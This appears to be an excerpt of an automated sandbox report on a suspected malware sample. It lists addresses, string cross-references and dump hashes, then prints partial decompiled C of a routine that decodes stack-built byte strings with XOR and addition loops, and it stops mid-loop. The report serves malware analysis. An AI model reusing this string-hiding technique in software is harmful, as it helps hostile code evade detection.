0x0040ef47
0x0040ef4f
0x0040ef57
0x0040ef5f
0x0040ef67
0x0040ef6f
0x0040ef71
0x0040ef80
0x0040ef87
0x0040ef8e
0x0040ef95
0x0040ef96
0x0040ef9d
0x0040ef9e
0x0040efbc
0x0040efca
0x0040efe0
0x0040efee
0x0040effc
0x0040f012
0x0040f019
0x0040f022
0x0040f02b
0x0040f032
0x0040f03a
0x0040f041
0x0040f049
0x0040f051
0x0040f059
0x0040f061
0x0040f069
0x0040f071
0x0040f079
0x0040f081
0x0040f088
0x0040f090
0x0040f097
0x0040f0a4
0x0040f0a8
0x0040f0b0
0x0040f0b8
0x0040f0c0
0x0040f0c8
0x0040f0d0
0x0040f0d8
0x0040f0e0
0x0040f0e6
0x0040f0f0
0x0040f0f7
0x0040f0fe
0x0040f105
0x0040f106
0x0040f10d
0x0040f10e
0x0040f129
0x0040f13f
0x0040f14d
0x0040f15b
0x0040f171
0x0040f178
0x0040f17f
0x0040f186
0x0040f18e
0x0040f196
0x0040f19e
0x0040f1a6
0x0040f1ae
0x0040f1b6
0x0040f1be
0x0040f1c4
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f439
0x0040f43a
0x0040f43d
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f713
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa89
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feeb
0x0040feef
0x0040fef4
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

t, xrefs: 0040F9C0
s, xrefs: 0040FB74
l, xrefs: 0040F801
r, xrefs: 0040F7A2
h, xrefs: 0040FA53
d, xrefs: 0040F79A
k, xrefs: 0040F971
r, xrefs: 0040EEC9
gibor, xrefs: 0040FE9D
b, xrefs: 0040F724
s, xrefs: 0040F557
i, xrefs: 0040F9A8
o, xrefs: 0040F60D
r, xrefs: 0040F357
s, xrefs: 0040FD79
o, xrefs: 0040FD81
w, xrefs: 0040F855
5, xrefs: 0040FA06
m, xrefs: 0040FB6C
r, xrefs: 0040F634
o, xrefs: 0040EEBB
z, xrefs: 0040FD52
n, xrefs: 0040F90B
r, xrefs: 0040F6F4
e, xrefs: 0040F84C
g, xrefs: 0040F624
r, xrefs: 0040EE1F
r, xrefs: 0040EF08
e, xrefs: 0040FD4A
n, xrefs: 0040F8E4
6, xrefs: 0040F2DF
o, xrefs: 0040EED1
w, xrefs: 0040F500
a, xrefs: 0040FDA0
d, xrefs: 0040FB5C
e, xrefs: 0040F847
eroon, xrefs: 0040FCD5
irdor, xrefs: 0040FE34
i, xrefs: 0040F510
c, xrefs: 0040FD98
J, xrefs: 0040F196
y, xrefs: 0040EEE1
H, xrefs: 0040F069
i, xrefs: 0040F979
i, xrefs: 0040F72C
o, xrefs: 0040F5ED
s, xrefs: 0040F35F
e, xrefs: 0040FDB8
n, xrefs: 0040F981
r, xrefs: 0040F2A8
n, xrefs: 0040F93A
a, xrefs: 0040F942
u, xrefs: 0040F903
l, xrefs: 0040F6C4
p, xrefs: 0040F39E
e, xrefs: 0040EF10
n, xrefs: 0040FB45
k, xrefs: 0040EE0F
r, xrefs: 0040FDA8
>, xrefs: 0040F2D7
lybor, xrefs: 0040FC6D
e, xrefs: 0040F34F
t, xrefs: 0040F518
e, xrefs: 0040EF00
n, xrefs: 0040FD89
k, xrefs: 0040F86D
r, xrefs: 0040FB2D
d, xrefs: 0040F952
l, xrefs: 0040FD42
c, xrefs: 0040F63C
b, xrefs: 0040EED9
e, xrefs: 0040F520
l, xrefs: 0040F865
o, xrefs: 0040F367
g, xrefs: 0040F989
#, xrefs: 0040FA1E
e, xrefs: 0040F875
a, xrefs: 0040F337
e, xrefs: 0040F92A
h, xrefs: 0040F922
r, xrefs: 0040F78A
o, xrefs: 0040F71C
h, xrefs: 0040F5E5
e, xrefs: 0040FB3D
3, xrefs: 0040F0B0
a, xrefs: 0040FB54
n, xrefs: 0040F94A
e, xrefs: 0040FD69
a, xrefs: 0040F64C
l, xrefs: 0040F842
h, xrefs: 0040F508
l, xrefs: 0040FD71
w, xrefs: 0040F998
g, xrefs: 0040F913
p, xrefs: 0040F5FD
t, xrefs: 0040F5DD
i, xrefs: 0040F644
r, xrefs: 0040F87D
s, xrefs: 0040EE07
e, xrefs: 0040FB35
e, xrefs: 0040F8CB
7, xrefs: 0040F65B
h, xrefs: 0040F9B8
n, xrefs: 0040F615
a, xrefs: 0040F62C
j, xrefs: 0040EEF8
n, xrefs: 0040F36F
m, xrefs: 0040F6E4
r, xrefs: 0040FDC0
o, xrefs: 0040F298
c, xrefs: 0040EF3F
o, xrefs: 0040F8FB
g, xrefs: 0040F9B0
n, xrefs: 0040F33F
o, xrefs: 0040F792
], xrefs: 0040F7F9
6, xrefs: 0040F663
h, xrefs: 0040F596
s, xrefs: 0040F605
i, xrefs: 0040F67B
m, xrefs: 0040F5F5
r, xrefs: 0040F932
B, xrefs: 0040F5CE
e, xrefs: 0040F3BE
z, xrefs: 0040F962
d, xrefs: 0040FA0E
r, xrefs: 0040F9A0
g, xrefs: 0040FB25
y, xrefs: 0040F8F3
a, xrefs: 0040FB64
q, xrefs: 0040F2E7
>, xrefs: 0040FA5B
e, xrefs: 0040F95A
t, xrefs: 0040FDB0
`, xrefs: 0040F6B4
herej, xrefs: 0040FC78
e, xrefs: 0040EEC0
agy, xrefs: 0040FE18
o, xrefs: 0040F2A0
j, xrefs: 0040EEB6
r, xrefs: 0040F714
d, xrefs: 0040F347
n, xrefs: 0040FD61
a, xrefs: 0040F85D
b, xrefs: 0040F3CE

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: #$3$5$6$6$7$>$>$B$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$b$c$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$j$j$k$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$s$t$t$t$t$u$w$w$w$y$y$z$z
API String ID: 0-1641917991
Opcode ID: 6ef87fec38fda1900363088514fc4212addbe966daf4cf9fc1112556eafa28c3
Instruction ID: 79cf2ef3681adb2789c25241e2082009139d77e3dc26cdac62bb4e2aa566c511
Opcode Fuzzy Hash: 6ef87fec38fda1900363088514fc4212addbe966daf4cf9fc1112556eafa28c3
Instruction Fuzzy Hash: E2A2A02414D7C189E332C72884587DFBFD25BA6718F088E9ED4ED1B292C6BA0259C777

Uniqueness

Uniqueness Score: -1.00%

Function 0041E3A0, Relevance: 179.1, APIs: 5, Strings: 97, Instructions: 646
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E0041E3A0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				intOrPtr _t571;
				int _t572;
				void* _t573;
				void* _t575;
				void* _t579;
				void* _t581;
				void* _t585;
				void* _t586;
				void* _t590;
				void* _t607;
				CHAR* _t625;
				intOrPtr _t632;
				intOrPtr _t641;
				short _t650;
				void* _t659;
				short _t660;
				void* _t665;
				signed int _t666;
				void* _t681;
				void* _t720;
				short _t721;
				struct _SECURITY_ATTRIBUTES* _t727;
				void* _t731;
				void* _t734;

				_t734 =  &_v176;
				_t571 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t571;
				_push(__edi);
				_t731 = __ecx;
				_v104 = 0x7b;
				_v103 = 0x3a;
				_v102 = 0x59;
				_v101 = 0xfe;
				_v100 = 0x78;
				_v99 = 0xb0;
				_v98 = 0xb1;
				_v97 = 0x27;
				_v96 = 0x34;
				_v95 = 0xf8;
				_v94 = 0x7f;
				_v93 = 0x7a;
				_v92 = 6;
				_v91 = 0x30;
				_v90 = 0xcb;
				_v176 = 0x21;
				_v175 = 0x7b;
				_v174 = 0x18;
				_v173 = 0x92;
				_v172 = 0x14;
				_v171 = 0xdf;
				_v170 = 0xc6;
				_v169 = 0x62;
				_v168 = 0x42;
				_v167 = 0x9d;
				_v166 = 0x11;
				_v165 = 0xe;
				_v164 = 0x43;
				_v163 = 0x48;
				_v162 = 0xcb;
				_t572 = 0;
				do {
					 *(_t734 + _t572 + 0x58) =  *(_t734 + _t572 + 0x58) ^  *(_t734 + _t572 + 0x10);
					_t45 = _t572 + 0x5a; // 0x59
					 *(_t734 + _t572 + 0x5a) =  *(_t734 + _t45) ^  *(_t734 + _t572 + 0x12);
					 *(_t734 + _t572 + 0x59) =  *(_t734 + _t572 + 0x59) ^  *(_t734 + _t572 + 0x11);
					 *(_t734 + _t572 + 0x5b) =  *(_t734 + _t572 + 0x5b) ^  *(_t734 + _t572 + 0x13);
					 *(_t734 + _t572 + 0x5c) =  *(_t734 + _t572 + 0x5c) ^  *(_t734 + _t572 + 0x14);
					_t572 = _t572 + 5;
				} while (_t572 < 0xf);
				_t632 =  *0x431f34; // 0x32
				_t720 = 0x32;
				asm("pushad");
				asm("popad");
				_push( &_v56);
				_push( &_v140);
				_pop(_t681);
				_t573 = 0x10;
				 *0x431f34 = _t632 + _t720;
				_v56 = 0xbf;
				_v55 = 0xb5;
				_v54 = 0x53;
				_v53 = 0xa2;
				_v52 = 0x92;
				_v51 = 0x76;
				_v50 = 0x85;
				_v49 = 0xd9;
				_v48 = 4;
				_v47 = 0x41;
				_v46 = 0x85;
				_v45 = 0x70;
				_v44 = 0x49;
				_v43 = 0xf6;
				_v42 = 0x7d;
				_v41 = 0xd2;
				_v140 = 9;
				_v139 = 0x53;
				_v138 = 0x12;
				_v137 = 0x53;
				_v136 = 0x3f;
				_v135 = 0x53;
				_v134 = 0x3c;
				_v133 = 0x4b;
				_v132 = 0xe;
				_v131 = 0x78;
				_v130 = 0x1d;
				_v129 = 0x73;
				_v128 = 7;
				_v127 = 0x35;
				_v126 = 0x70;
				_v125 = 8;
				E0041E250(_t573, _t681);
				_v92 = 0x7b;
				_v91 = 0x3a;
				_v90 = 0x59;
				_v89 = 0xfe;
				_v88 = 0x78;
				_v87 = 0xb0;
				_v86 = 0xb1;
				_v85 = 0x27;
				_v84 = 0x34;
				_v83 = 0xf8;
				_v82 = 0x7f;
				_v81 = 0x7a;
				_v80 = 6;
				_v79 = 0x30;
				_v78 = 0xcb;
				_v180 = 0x28;
				_v179 = 0x7d;
				_v178 = 0x18;
				_v177 = 0x92;
				_v176 = 0x14;
				_v175 = 0xdf;
				_v174 = 0xc6;
				_v173 = 0x62;
				_v172 = 0x42;
				_v171 = 0x9d;
				_v170 = 0x11;
				_v169 = 0xe;
				_v168 = 0x43;
				_v167 = 0x48;
				_v166 = 0xcb;
				_t575 = 0;
				do {
					 *(_t734 + _t575 + 0x68) =  *(_t734 + _t575 + 0x68) ^  *(_t734 + _t575 + 0x10);
					_t137 = _t575 + 0x6a; // 0x59
					 *(_t734 + _t575 + 0x69) =  *(_t734 + _t575 + 0x69) ^  *(_t734 + _t575 + 0x11);
					 *(_t734 + _t575 + 0x6a) =  *(_t734 + _t137) ^  *(_t734 + _t575 + 0x12);
					 *(_t734 + _t575 + 0x6b) =  *(_t734 + _t575 + 0x6b) ^  *(_t734 + _t575 + 0x13);
					 *(_t734 + _t575 + 0x6c) =  *(_t734 + _t575 + 0x6c) ^  *(_t734 + _t575 + 0x14);
					_t575 = _t575 + 5;
				} while (_t575 < 0xf);
				_t641 =  *0x431f34; // 0x32
				_v137 = 0x5c;
				_v135 = 0x5c;
				 *0x431f34 = _t641 + _t720;
				_v40 = 0xbf;
				_v39 = 0xb5;
				_v38 = 0x53;
				_v37 = 0xa2;
				_v36 = 0x92;
				_v35 = 0x76;
				_v34 = 0x85;
				_v33 = 0xd9;
				_v32 = 4;
				_v31 = 0x41;
				_v30 = 0x85;
				_v29 = 0x70;
				_v28 = 0x49;
				_v27 = 0xf6;
				_v26 = 0x7d;
				_v25 = 0xd2;
				_v140 = 9;
				_v139 = 0x5a;
				_v138 = 0x1d;
				_v136 = 0x30;
				_v134 = 0x33;
				_v133 = 0x44;
				_v132 = 1;
				_v131 = 0x77;
				_v130 = 0x12;
				_v129 = 0x7c;
				_v128 = 8;
				_v127 = 0x3a;
				_v126 = 0x7f;
				_v125 = 7;
				E0041E250(0x10,  &_v140,  &_v40);
				_t721 =  *0x431f38; // 0x2d2c
				_v144 = 0x54;
				_v143 = 0x2c;
				_v142 = 0x7c;
				_v141 = 0xc;
				_v140 = 0x12;
				_v139 = 0x7c;
				_v138 = 0x2c;
				_v137 = 0xe7;
				_v136 = 0x50;
				_v135 = 0x8d;
				_v134 = 0x53;
				_v133 = 0x29;
				_v132 = 0xa2;
				_v131 = 0xa8;
				_v130 = 0x4e;
				_v129 = 0x45;
				_v164 = 0xfa;
				_v163 = 0x1d;
				_v162 = 0xd7;
				_v161 = 0x35;
				_v160 = 0x5a;
				_v159 = 0xf0;
				_v158 = 0x43;
				_v157 = 0x90;
				_v156 = 0xf5;
				_v155 = 0xe9;
				_v154 = 0x12;
				_v153 = 0x45;
				_v152 = 0xd2;
				_v151 = 0x9d;
				_v150 = 0x2a;
				_v149 = 0xbb;
				_t579 = 0;
				do {
					 *((char*)(_t734 + _t579 + 0x34)) =  *((intOrPtr*)(_t734 + _t579 + 0x34)) +  *((intOrPtr*)(_t734 + _t579 + 0x20));
					_t233 = _t579 + 0x36; // 0x7c
					 *((char*)(_t734 + _t579 + 0x35)) =  *((intOrPtr*)(_t734 + _t579 + 0x35)) +  *((intOrPtr*)(_t734 + _t579 + 0x21));
					 *((char*)(_t734 + _t579 + 0x36)) =  *((intOrPtr*)(_t734 + _t233)) +  *((intOrPtr*)(_t734 + _t579 + 0x22));
					 *((char*)(_t734 + _t579 + 0x37)) =  *((intOrPtr*)(_t734 + _t579 + 0x37)) +  *((intOrPtr*)(_t734 + _t579 + 0x23));
					_t579 = _t579 + 4;
					_t721 = _t721 + 0x1b4;
				} while (_t579 < 0x10);
				_push( &_v24);
				_t581 = 0x11;
				 *0x431f38 = _t721;
				_v24 = 0x4c;
				_v23 = 0xd3;
				_v22 = 0x82;
				_v21 = 0x4f;
				_v20 = 0x90;
				_v19 = 0x73;
				_v18 = 0x45;
				_v17 = 0xda;
				_v16 = 0x5e;
				_v15 = 0xa0;
				_v14 = 0xe3;
				_v13 = 0x65;
				_v12 = 0x80;
				_v11 = 0x16;
				_v10 = 2;
				_v9 = 0x4a;
				_v8 = 0x59;
				_v124 = 0xd;
				_v123 = 0x43;
				_v122 = 0xa;
				_v121 = 0x59;
				_v120 = 0x18;
				_v119 = 0x74;
				_v118 = 0x18;
				_v117 = 0x77;
				_v116 = 0;
				_v115 = 0x45;
				_v114 = 0x33;
				_v113 = 0x56;
				_v112 = 0x38;
				_v111 = 0x4c;
				_v110 = 0x7e;
				_v109 = 0x3b;
				_v108 = 0x43;
				E0041E250(_t581,  &_v124);
				_v126 = 0xf2;
				_v124 = 0xf2;
				_v128 = 0x11;
				_v127 = 0x4d;
				_v125 = 0x60;
				_v123 = 0xf6;
				_v122 = 0xfc;
				_v121 = 0x1a;
				_v120 = 0x4e;
				_v119 = 0x98;
				_v118 = 0x3f;
				_v117 = 0xc1;
				_v116 = 0xf8;
				_v115 = 0xf4;
				_v114 = 0xb6;
				_v113 = 0x33;
				_v112 = 0x94;
				_v111 = 0xd5;
				_v110 = 0xd6;
				_v109 = 0x6d;
				_v164 = 0x3d;
				_v163 = 0xfc;
				_v162 = 0x61;
				_v161 = 0xed;
				_v160 = 0x6f;
				_v159 = 0x73;
				_v158 = 0x70;
				_v157 = 0x27;
				_v156 = 0x1e;
				_v155 = 0xd4;
				_v154 = 0x30;
				_v153 = 0xb6;
				_v152 = 0x4d;
				_v151 = 0x82;
				_v150 = 0xaf;
				_v149 = 0x3b;
				_v148 = 0xe0;
				_t650 =  *0x431f38; // 0x2d2c
				_v147 = 0x70;
				_v146 = 0xa2;
				_v145 = 0x93;
				_t585 = 0;
				do {
					 *((intOrPtr*)(_t734 + _t585 + 0x44)) =  *((intOrPtr*)(_t734 + _t585 + 0x44)) +  *((intOrPtr*)(_t734 + _t585 + 0x20));
					 *((intOrPtr*)(_t734 + _t585 + 0x45)) =  *((intOrPtr*)(_t734 + _t585 + 0x45)) +  *((intOrPtr*)(_t734 + _t585 + 0x21));
					 *((intOrPtr*)(_t734 + _t585 + 0x46)) =  *((intOrPtr*)(_t734 + _t585 + 0x46)) +  *((intOrPtr*)(_t734 + _t585 + 0x22));
					 *((intOrPtr*)(_t734 + _t585 + 0x47)) =  *((intOrPtr*)(_t734 + _t585 + 0x47)) +  *((intOrPtr*)(_t734 + _t585 + 0x23));
					 *((intOrPtr*)(_t734 + _t585 + 0x48)) =  *((intOrPtr*)(_t734 + _t585 + 0x48)) +  *((intOrPtr*)(_t734 + _t585 + 0x24));
					_t585 = _t585 + 5;
					_t650 = _t650 + 0x221;
				} while (_t585 < 0x14);
				_v72 = 0x54;
				_v71 = 0x2c;
				_v70 = 0x7c;
				_v69 = 0xc;
				_v68 = 0x12;
				_v67 = 0x7c;
				_v66 = 0x2c;
				_v65 = 0xe7;
				_v64 = 0x50;
				_v63 = 0x8d;
				_v62 = 0x53;
				_v61 = 0x29;
				_v60 = 0xa2;
				_v59 = 0xa8;
				_v58 = 0x4e;
				_v176 = 0xfb;
				_v175 = 0x24;
				_v174 = 0xc5;
				_v173 = 0x60;
				_v172 = 0x5a;
				_v171 = 0xf3;
				_v170 = 0x4b;
				_v169 = 0x5e;
				_v168 = 0x26;
				_v167 = 0xd8;
				_v166 = 0x1b;
				_v165 = 0x4b;
				_v164 = 0xa3;
				_v163 = 0xd0;
				_v162 = 0xb2;
				_t586 = 0;
				do {
					 *((intOrPtr*)(_t734 + _t586 + 0x78)) =  *((intOrPtr*)(_t734 + _t586 + 0x78)) +  *((intOrPtr*)(_t734 + _t586 + 0x10));
					 *((intOrPtr*)(_t734 + _t586 + 0x79)) =  *((intOrPtr*)(_t734 + _t586 + 0x79)) +  *((intOrPtr*)(_t734 + _t586 + 0x11));
					 *((intOrPtr*)(_t734 + _t586 + 0x7a)) =  *((intOrPtr*)(_t734 + _t586 + 0x7a)) +  *((intOrPtr*)(_t734 + _t586 + 0x12));
					 *((intOrPtr*)(_t734 + _t586 + 0x7b)) =  *((intOrPtr*)(_t734 + _t586 + 0x7b)) +  *((intOrPtr*)(_t734 + _t586 + 0x13));
					 *((intOrPtr*)(_t734 + _t586 + 0x7c)) =  *((intOrPtr*)(_t734 + _t586 + 0x7c)) +  *((intOrPtr*)(_t734 + _t586 + 0x14));
					_t586 = _t586 + 5;
					_t650 = _t650 + 0x221;
				} while (_t586 < 0xf);
				 *0x431f38 = _t650;
				_push( &_v124);
				asm("pushad");
				asm("popad");
				_t659 = 0x10;
				_v124 = 0x9e;
				_v123 = 0x5a;
				_v122 = 0x4c;
				_v121 = 0xd3;
				_v120 = 0x82;
				_v119 = 0x4f;
				_v118 = 0x90;
				_v117 = 0x73;
				_v116 = 0x45;
				_v115 = 0xda;
				_v114 = 0x5e;
				_v113 = 0xa0;
				_v112 = 0xe3;
				_v111 = 0x65;
				_v110 = 0x80;
				_v109 = 0x16;
				_v160 = 0x16;
				_v159 = 0xf8;
				_v158 = 0x20;
				_v157 = 0xd1;
				_v156 = 0xd4;
				_v155 = 0x30;
				_v154 = 0xbf;
				_v153 = 0x33;
				_v152 = 0x36;
				_v151 = 0xe7;
				_v150 = 0x20;
				_v149 = 0xee;
				_v148 = 0xbf;
				_v147 = 0xd;
				_v146 = 0xa;
				_v145 = 0xd1;
				E0041E2E0( &_v160, _t659);
				_t660 =  *0x431f38; // 0x2d2c
				_v180 = 0x54;
				_v179 = 0x2c;
				_v178 = 0x7c;
				_v177 = 0xc;
				_v176 = 0x12;
				_v175 = 0x7c;
				_v174 = 0x2c;
				_v173 = 0xe7;
				_v172 = 0x50;
				_v171 = 0x8d;
				_v170 = 0x53;
				_v169 = 0x29;
				_v168 = 0xa2;
				_v167 = 0xa8;
				_v166 = 0x4e;
				_v164 = 0xf9;
				_v163 = 0x15;
				_v162 = 0xc5;
				_v161 = 0x60;
				_v160 = 0x5a;
				_v159 = 0xf3;
				_v158 = 0x4b;
				_v157 = 0x5e;
				_v156 = 0x26;
				_v155 = 0xd8;
				_v154 = 0x1b;
				_v153 = 0x4b;
				_v152 = 0xa3;
				_v151 = 0xd0;
				_v150 = 0xb2;
				_t590 = 0;
				do {
